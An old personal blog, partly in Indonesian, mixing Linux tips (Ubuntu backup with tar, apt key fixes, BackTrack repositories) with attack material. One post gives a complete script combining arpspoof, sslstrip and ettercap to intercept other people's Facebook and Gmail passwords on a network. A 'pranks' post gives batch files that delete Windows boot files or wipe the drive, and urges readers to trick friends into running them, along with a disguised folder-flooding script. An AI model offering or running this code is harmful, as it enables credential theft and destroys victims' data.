Wednesday, February 29, 2012

Backup Ubuntu

Tutorial berikut digunakan ketika kita sering mengalami kerusakan setelah mengupdate ataupun mengoprek ubuntu, Langkahnya sebagai berikut :
 
1. Membuat backup di "root"

awalnya kita ke directory depan ...

#sudo su
#cd /

backup dengan tar

Code:
tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/backup.tgz --exclude=/mnt --exclude=/sys /

2. Untuk merestore file backup tadi menggunakan :

Code:
tar xvpfz backup.tgz -C /

3. Restart komputer anda

Thursday, February 9, 2012

apt-get update error

Ketik diterminal

Code:
gpg --keyserver keyserver.ubuntu.com --recv 044A3B98
gpg --export --armor 044A3B98 | sudo apt-key add -

Install chrome di backtrack

Untuk penginstallan google chrome di backtrack, ketikkan di terminal :
apt-get install chromium-browser



Lalu, buka terminal lalu jalankan perintah berikut :
root@bt:~# cd /usr/lib/chromium-browser
root@bt:/opt/google/chrome# chmod o+w -R chromium-browser
root@bt:/opt/google/chrome# hexedit chromium-browser



  1. tekan [ tab ] agar berpindah cursor kebagian ascii
  2. Tekan [ ctrl ]+[ s ] untuk melakukan pencarian, dan masukkan kata kunci ‘geteuid’ (tanpa petik) lalu tekan [ enter ]
  3. Ganti tulisan ‘geteuid’ menjadi ‘getppid’.
  4. Tekan [ ctrl ]+[ x ] untuk keluar hexeditor dan menyimpan perubahan.
  5. dan terakhir, mengubah lagi ke mode defaultnya:chmod o-w -R chromium-browser

Sniffing password FB

1.Pertama-tama kita copas script dibawah dan buat menjadi executable

Spoiler! :

#!/bin/bash

# Script for sniffing https connections.
# Script use Arpspoof, SSLStrip, Ettercap, Urlsnarf and Driftnet.
# Tested on BT4 R2
# BY gHero,cseven,spudgunman.
# Ver 0.2

# ASCII sniff.sh
echo '
.__ _____ _____ .__
______ ____ |__|/ ____\/ ____\ _____| |__
/ ___// \| \ __\\ __\ / ___/ | \
\___ \| | \ || | | | \___ \| Y \
/____ >___| /__||__| |__| /\/____ >___| /
\/ \/ \/ \/ \/
'

echo '1' > /proc/sys/net/ipv4/ip_forward

iptables --flush
sleep 1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


# Arpspoof
echo -n -e "Would you like to ARP a (T)arget or full (N)etwork? ";
read ARPOP

if [ "$ARPOP" == "T" ] ; then
echo
echo -e '\E[30;42m'""; tput sgr0
echo '------------------------'
echo -n -e '\E[37;41m'"Client IP address: "; tput sgr0
read IP1
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example : "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'' &

else

echo
echo -e '\E[30;42m'""; tput sgr0
echo '------------------------'
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example : "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' '$IP2'' &

fi

# SSLSTRIP
xterm -fg green4 -bg grey0 -e 'sslstrip -a -w ssl_log.txt' &

# ETTERCAP
xterm -fg green4 -bg grey0 -e 'ettercap -T -q -i '$INT'' &

# URLSNARF
xterm -fg green4 -bg grey0 -e 'urlsnarf -i '$INT' | grep http > urlsnarf_log.txt' &

# DRIFTNET
driftnet -p -i $INT &


script diatas bukan ane yang buat bro, ane dapat dr forum backtrack.org

2. kalo udah dicopas save as dengan nama bebas terserah agan, kalo ane sih kasih nama file nya "sniff" dan pastikan buat menjadi executeble

3. selanjutnya execute script tadi dengan command
# ./sniff.sh

4. kalo berhasil akan keluar pertanyaan seperti dibawah ini:
Spoiler! :
http://i1139.photobucket.com/albums/n559/gtx150/snapshot23.png
Image exceeds set limits. Click to view full size image



5. Tunggu dengan sabar karena kita ga tahu kapan korban akan login ke account FB, Gmail, yahoo dkk. setelah menunggu dengan sabar akhirnya datang eh salah nongol juga tuh password di ettercap
Spoiler! :
http://i1139.photobucket.com/albums/n559/gtx150/snapshot621.png

Wednesday, February 8, 2012

Backtrack 11.10

Nah, sekarang saya akan coba menambahkan repository Backtrack 5 di Ubuntu 11.10.
  1. Download key backtrack.gpg nya di sini. (save backtrack.gpg). Lalu buka synaptic package manager lalu pilih Settings > Repositories > Authentication > Import Key File .
  2. Atau ketikkan di terminal # wget -q http://all.repository.backtrack-linux.org/backtrack.gpg -O- | sudo apt-key add - , lalu tekan enter ..
  3. Selanjutnya tambahkan repository Backtrack 5, ketik # gedit /etc/apt/sources.list
    • deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
    • deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
    • deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing
    • deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing
  4. # apt-get update ..


Nah sekarang kita tinggal pilih tools yang ingin kita gunakan...
Semoga bermanfaat ..

Tuesday, December 27, 2011

Painfull Computer Pranks

These pranks could be very painfully, so please use them at your own risk ;)

1. Crash a Computer System With Nothing But a URL!

I stumbled across this URL while surfing the internet. This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM.

WARNING: CLICKING ON THE LINK BELLOW MAY CAUSE A CRASH! USE AT YOUR OWN RISK!

http://tiny.cc/ibJUN


2. Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini


Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE. YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Send it to your friends computer and tell them to open it. Have fun!!

Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q


Paste it in NotePad And Save It with Extension .cmd or .bat


3. Make over 1,000 folders in few seconds


Here I will teach you simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :

@echo off
:top
md %random%
goto top


@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top, infinite loop



2. Save it as 1000folders.bat


3. After that you will get icon that looks as show below


People probably not going to click on an icon that looks like this picture so to make it better (funnier and easier to prank people with) make a short-cut to it

4. Right click on icon and click Create Shortcut


5. Right click on shortcut and click properties , then click on Change Icon and rename icon


Tell the person that you found the music they wanted and downloaded it on there computer, that way they will think its a shortcut to the music and they will click on it then they will think its loading so they wont exit right away when they finally realize its not going to load or so many errors have came up they realized somethings wrong it will be to late) also just something to know its impossible to delete them using cmd you HAVE to find all of them and delete them manually…


4. Microsoft Word Prank

Here , I will show you great microsoft word prank that will frustrate the victims very much, whenever they type a certain word, another word appears! This prank is great for office and schools.

1. Launch Microsoft Word

2. Go to Tools -> AutoCorrect Options…


3. In the space where it says Replace , type a real common word such as the, and, a,I, you etc. In the space that says With , type in a crazy word such as fdgfdhkihyob45, whatever you want! Then , click on Add



5. Cool Windows Prank

This will make it to where your friend cannot click on anything on the screen.

1. Take a screenshot of the desktop. You can use windows printscreen or some printscreen software.


2. Make your printscreen picture as desktop background.

3. Right click on desktop , then click Arrange Icons By->Show Desktop Icons (Windows XP)
Right click on desktop , then click View->Show Desktop Icons (Windows 7 and Vista)


That is it , when you click on the “icons”, nothing will happen!


Hope you'll have a lot of fan with these pranks. If you know other good prank feel free to mention it in comment.

 
Powered by Blogger